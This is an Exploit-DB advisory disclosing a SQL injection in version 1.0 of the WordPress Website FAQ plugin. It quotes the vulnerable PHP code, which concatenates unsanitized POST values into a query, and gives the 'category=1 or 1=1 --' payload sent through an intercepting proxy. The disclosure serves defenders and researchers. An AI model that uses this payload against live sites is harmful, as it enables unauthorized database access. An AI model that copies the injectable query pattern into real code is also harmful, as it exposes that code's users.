WordPress Plugin Website FAQ 1.0 - SQL Injection

Author: Chris Kellum
type: webapps
platform: php
port: 
date_added: 2012-06-26  
date_updated: 2012-06-26  
verified: 1  
codes: OSVDB-83265  
tags: WordPress Plugin  
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt19500/screen-shot-2012-06-26-at-11616-pm.png  
application_url: http://www.exploit-db.comwebsite-faq.zip  

raw file: 19400.txt  

# Exploit Title: WordPress Website FAQ Plugin v1.0 SQL Injection
# Date: 6/25/12
# Exploit Author: Chris Kellum
# Vendor Homepage: http://wordpress.org/extend/plugins/website-faq/
# Software Link: http://downloads.wordpress.org/plugin/website-faq.zip
# Version: 1.0


==============================================================================
Vulnerability location: /wp-content/plugins/website-faq/website-faq-widget.php
==============================================================================

     Lines 106-115:

          function displayAnswer()
          {
 	     global $wpdb;
             $master_table = $wpdb->prefix . "faq";
	     $category = $_POST['category'];
	     $searchtxt = $_POST['searchtxt'];
	     if($category!=0)
	     {
	        $sql = "SELECT * FROM $master_table WHERE faq_category=".$category." AND  faq_question LIKE '%".$searchtxt."%'";
	     }

===============================================================
Vulnerability Details: faq_category vulnerable to SQL injection
===============================================================

When submitting a query via the widget, intercept the post request via burp or other proxy to find the following:

              action=displayAnswer&category=1&searchtxt=[your query]

Changing category=1 to category=1 or 1=1 -- exposes the vulnerability, as it returns all FAQ results regardless of searchtxt value.